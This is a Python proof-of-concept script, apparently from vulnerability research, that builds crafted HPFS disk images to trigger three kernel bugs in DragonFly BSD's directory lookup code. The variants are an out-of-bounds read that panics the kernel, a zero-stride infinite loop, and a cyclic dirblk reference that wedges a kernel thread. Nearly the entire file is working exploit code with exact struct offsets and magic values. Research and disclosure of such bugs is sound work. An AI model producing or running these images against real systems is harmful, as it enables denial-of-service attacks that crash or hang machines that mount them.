#!/usr/bin/env python3
"""
DF-0927 -- Hand-crafted HPFS image to trigger the unbounded dirent
traversal in hpfs_genlookupbyname() (sys/vfs/hpfs/hpfs_lookup.c:82-102).

Built from scratch (no base.hpfs needed); layout mirrors the proven
DF-0857 image (root fnode @ 0x20, dirblk @ 0x40) but the first dirent in
the dirblk is poisoned to demonstrate one of three bugs:

  --oob     Variant A: first dirent de_reclen=0xFFFF, DE_END clear, name "A".
            On stat("/mnt/zzz"):
              while(!(dep->de_flag & DE_END))         (hpfs_lookup.c:82)
                hpfs_cmpfname("zzz","A")  -> 'z'-'A' > 0  -> continue
                dep += dep->de_reclen (=+0xFFFF)       (hpfs_lookup.c:96)
              while-cond reads dep->de_flag at ~64KiB past the 2048-byte
              bread'd buffer -> kernel page-fault panic. (CWE-125 OOB read)

  --hang1   Variant B: first dirent de_reclen=0, DE_END clear, name "A".
            On stat("/mnt/zzz"):
              cmpfname >0 -> continue; dep += 0 -> no advance; loop spins
              forever on the same dirent -> kernel thread wedged. (CWE-835)

  --cycle   Variant C: two dirblks D0 (0x40), D1 (0x58) whose end-dirents
            have DE_END|DE_DOWN with down_lsn referencing each other.
            On stat -> dive loop:
              lsn = DE_DOWNLSN(dep); goto dive           (hpfs_lookup.c:99-102)
            bounces D0<->D1 forever (no depth counter, unlike hpfs_readdir
            which carries int level). (CWE-835 + CWE-400)

ABI note: the kernel casts raw dirblk bytes to (struct hpfsdirent *) with
DragonFly's amd64 struct layout (u_long = 8B, 8B-aligned). The on-disk
dirent must match the *kernel's* struct layout, not OS/2's. See
sys/vfs/hpfs/hpfs.h:116-131 -- struct hpfsdirent.

Usage:  python3 craft_img.py [--oob|--hang1|--cycle] out.img
"""
import struct, sys

SECTOR = 512
# HPFS magics
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

# HPFS dirent flags (sys/vfs/hpfs/hpfs.h:100-113)
DE_END   = 0x0008
DE_DOWN  = 0x0004

# struct fnode offsets on amd64 (matches DF-0857 craft_img.py, validated there)
FN_OFF_MAGIC   = 0x00
FN_OFF_HIST    = 0x08
FN_OFF_NAMELEN = 0x10
FN_OFF_NAME    = 0x11
FN_OFF_PARENT  = 0x20
FN_OFF_FLAG    = 0x3B  # nonzero => VDIR
FN_OFF_AB      = 0x3C  # alblk_t (8 bytes)
FN_OFF_ABD     = 0x44  # u8[0x60]
FN_OFF_SIZE    = 0xA4
AB_OFF_FLAG     = 0
AB_OFF_FREECNT  = 4
AB_OFF_BUSYCNT  = 5
AB_OFF_FREEOFF  = 6

# In-kernel struct hpfsdirent layout on amd64 (u_long = 8B, aligned). See
# sys/vfs/hpfs/hpfs.h:116-131.
#
#   0x00 de_reclen    u16
#   0x02 de_flag      u16
#   0x04 de_fnode     lsn_t (u32)
#   0x08 de_mtime     u_long (u64)
#   0x10 de_size      u32
#   0x14 -- pad 4B for u_long alignment of de_atime --
#   0x18 de_atime     u_long (u64)
#   0x20 de_ctime     u_long (u64)
#   0x28 de_ealen     u32
#   0x2c de_flexflag  u8
#   0x2d de_cpid      u8
#   0x2e de_namelen   u8
#   0x2f de_name[namelen]
# (de_reclen pads to 4-byte multiple; if DE_DOWN, last 4 bytes of dirent
#  are the down lsn.)
DE_HDR_SIZE = 0x2F  # bytes up to and including de_name[0]
DIRBLK_HDR  = 20    # sizeof(dirblk_t) on amd64

# Boot/sectors used
LSN_BOOT   = 0x00
LSN_SUPER  = 0x10
LSN_SPARE  = 0x11
LSN_ROOTFN = 0x20
LSN_BITMAP_DIR = 0x30
LSN_BITMAP = 0x38
LSN_DIRBLK_D0 = 0x40   # primary dirblk (root dir contents)
LSN_DIRBLK_D1 = 0x58   # second dirblk, only used in --cycle variant
TOTAL_SECTORS = 0x80   # 64KiB image


def wr32(img, off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF)
def wr64(img, off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF)
def wr16(img, off, v): struct.pack_into('<H', img, off, v & 0xFFFF)
def wr8 (img, off, v): img[off] = v & 0xFF


def write_superblock(img):
    su = LSN_SUPER * SECTOR
    wr64(img, su + 0, SU_MAGIC)
    wr8(img, su + 8, 2)              # su_hpfsver
    wr32(img, su + 12, LSN_ROOTFN)   # su_rootfno
    wr32(img, su + 16, TOTAL_SECTORS)  # su_btotal
    wr32(img, su + 24, LSN_BITMAP_DIR)  # su_bitmap.lsn1
    wr32(img, su + 28, LSN_BITMAP_DIR)  # su_bitmap.lsn2


def write_spareblock(img):
    sp = LSN_SPARE * SECTOR
    wr64(img, sp + 0, SP_MAGIC)


def write_bitmap(img):
    bd = LSN_BITMAP_DIR * SECTOR
    wr32(img, bd, LSN_BITMAP)        # hpmp->hpm_bmind[0]
    bm = LSN_BITMAP * SECTOR
    # bit set = sector free; bit clear = sector used. Mark 0..0x40 used.
    for i in range(0x40):
        img[bm + (i >> 3)] &= ~(1 << (i & 7))
    for i in range(0x40, TOTAL_SECTORS):
        img[bm + (i >> 3)] |=  (1 << (i & 7))


def write_root_fnode(img):
    """Root fnode: VDIR with a single alleaf pointing at the dirblk D0."""
    rf = LSN_ROOTFN * SECTOR
    wr32(img, rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(img, rf + FN_OFF_NAMELEN, 1)
    img[rf + FN_OFF_NAME] = ord('.')
    wr32(img, rf + FN_OFF_PARENT, LSN_ROOTFN)
    wr32(img, rf + FN_OFF_FLAG, 1)   # VDIR
    # alblk: leaf, busycnt=1, freecnt=7, freeoff=20
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(img, rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    # alleaf[0]: offset=0, len=1, lsn=D0
    wr32(img, rf + FN_OFF_ABD + 0, 0)
    wr32(img, rf + FN_OFF_ABD + 4, 1)
    wr32(img, rf + FN_OFF_ABD + 8, LSN_DIRBLK_D0)
    wr32(img, rf + FN_OFF_SIZE, 4 * SECTOR)


def write_dirent(img, dep_off, reclen, flag, namelen, name, down_lsn=None,
                 fnode=0xDEADBEEF, size=0x1000):
    """Write one in-kernel-layout hpfsdirent at byte offset dep_off."""
    wr16(img, dep_off + 0x00, reclen)
    wr16(img, dep_off + 0x02, flag)
    wr32(img, dep_off + 0x04, fnode)
    wr64(img, dep_off + 0x08, 0)        # mtime
    wr32(img, dep_off + 0x10, size)
    # 4 bytes pad at 0x14 (implicit zero)
    wr64(img, dep_off + 0x18, 0)        # atime
    wr64(img, dep_off + 0x20, 0)        # ctime
    wr32(img, dep_off + 0x28, 0)        # ealen
    img[dep_off + 0x2c] = 0             # flexflag
    img[dep_off + 0x2d] = 0             # cpid
    img[dep_off + 0x2e] = namelen
    for i, c in enumerate(name[:namelen]):
        img[dep_off + 0x2f + i] = c if isinstance(c, int) else ord(c)
    if (flag & DE_DOWN) and down_lsn is not None:
        # down lsn occupies the LAST 4 bytes of the dirent
        wr32(img, dep_off + reclen - 4, down_lsn)


def write_dirblk_header(img, db_off, freeoff, parent=LSN_ROOTFN, self_lsn=None):
    if self_lsn is None:
        self_lsn = db_off // SECTOR
    wr32(img, db_off + 0, D_MAGIC)
    wr32(img, db_off + 4, freeoff)
    wr32(img, db_off + 8, 0)            # chcnt
    wr32(img, db_off + 12, parent)
    wr32(img, db_off + 16, self_lsn)


def build_oob(outpath):
    """Variant A: first dirent de_reclen=0xFFFF, name 'A', DE_END clear."""
    img = bytearray(TOTAL_SECTORS * SECTOR)
    img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55)
    write_superblock(img)
    write_spareblock(img)
    write_bitmap(img)
    write_root_fnode(img)
    # dirblk D0
    db = LSN_DIRBLK_D0 * SECTOR
    dep0 = db + DIRBLK_HDR
    # name 'A' (sorts before 'zzz' so cmpfname returns >0 -> loop continues)
    name = b'A'
    reclen0 = 0xFFFF                    # <-- POISON: huge stride
    write_dirent(img, dep0, reclen0, 0, len(name), name)
    # dirblk header: d_freeoff past dep0's name. Not strictly needed.
    write_dirblk_header(img, db, dep0 + DE_HDR_SIZE + len(name) - db,
                        parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0)
    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"[+] wrote {outpath} (variant A: de_reclen=0xFFFF OOB)", file=sys.stderr)


def build_hang1(outpath):
    """Variant B: first dirent de_reclen=0, name 'A', DE_END clear."""
    img = bytearray(TOTAL_SECTORS * SECTOR)
    img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55)
    write_superblock(img)
    write_spareblock(img)
    write_bitmap(img)
    write_root_fnode(img)
    db = LSN_DIRBLK_D0 * SECTOR
    dep0 = db + DIRBLK_HDR
    name = b'A'
    reclen0 = 0                         # <-- POISON: zero stride
    write_dirent(img, dep0, reclen0, 0, len(name), name)
    write_dirblk_header(img, db, dep0 + DE_HDR_SIZE + len(name) - db,
                        parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0)
    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"[+] wrote {outpath} (variant B: de_reclen=0 infinite loop)", file=sys.stderr)


def build_cycle(outpath):
    """Variant C: two dirblks D0, D1 whose end-dirents DE_DOWN-cycle.

    Layout:
      D0 @ 0x40: first dirent is the END dirent with DE_END|DE_DOWN,
                 down_lsn = D1.
      D1 @ 0x58: first dirent is the END dirent with DE_END|DE_DOWN,
                 down_lsn = D0.

    On stat("/mnt/zzz"):
      dive: bread D0
        while(!(dep->de_flag & DE_END)) -> dep is END, loop body never runs
        if (dep->de_flag & DE_DOWN) -> lsn = D1; goto dive
      dive: bread D1
        ... loop body never runs ...
        if (DE_DOWN) -> lsn = D0; goto dive     (CYCLE)
    """
    img = bytearray(TOTAL_SECTORS * SECTOR)
    img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55)
    write_superblock(img)
    write_spareblock(img)
    write_bitmap(img)
    # Mark D1's sectors used too
    bm = LSN_BITMAP * SECTOR
    for i in range(LSN_DIRBLK_D0, LSN_DIRBLK_D1 + 4):
        img[bm + (i >> 3)] &= ~(1 << (i & 7))
    write_root_fnode(img)
    # D0: end-dirent with DE_END|DE_DOWN, down_lsn=D1
    db0 = LSN_DIRBLK_D0 * SECTOR
    dep0 = db0 + DIRBLK_HDR
    name0 = b'A'                       # name doesn't matter; END skips cmpfname
    reclen0 = 0x34                     # 52B dirent, down_lsn at dep+0x30
    write_dirent(img, dep0, reclen0, DE_END | DE_DOWN, len(name0), name0,
                 down_lsn=LSN_DIRBLK_D1)
    write_dirblk_header(img, db0, dep0 + reclen0 - db0,
                        parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0)
    # D1: end-dirent with DE_END|DE_DOWN, down_lsn=D0
    db1 = LSN_DIRBLK_D1 * SECTOR
    dep1 = db1 + DIRBLK_HDR
    name1 = b'A'
    reclen1 = 0x34
    write_dirent(img, dep1, reclen1, DE_END | DE_DOWN, len(name1), name1,
                 down_lsn=LSN_DIRBLK_D0)
    write_dirblk_header(img, db1, dep1 + reclen1 - db1,
                        parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D1)
    with open(outpath, 'wb') as f:
        f.write(img)
    print(f"[+] wrote {outpath} (variant C: D0<->D1 DE_DOWN cycle)", file=sys.stderr)


def main(argv):
    mode = '--oob'
    args = []
    for a in argv[1:]:
        if a in ('--oob', '--hang1', '--cycle'):
            mode = a
        else:
            args.append(a)
    out = args[0] if args else 'df0927.img'
    if mode == '--hang1':
        build_hang1(out)
    elif mode == '--cycle':
        build_cycle(out)
    else:
        build_oob(out)
    return 0


if __name__ == '__main__':
    sys.exit(main(sys.argv))
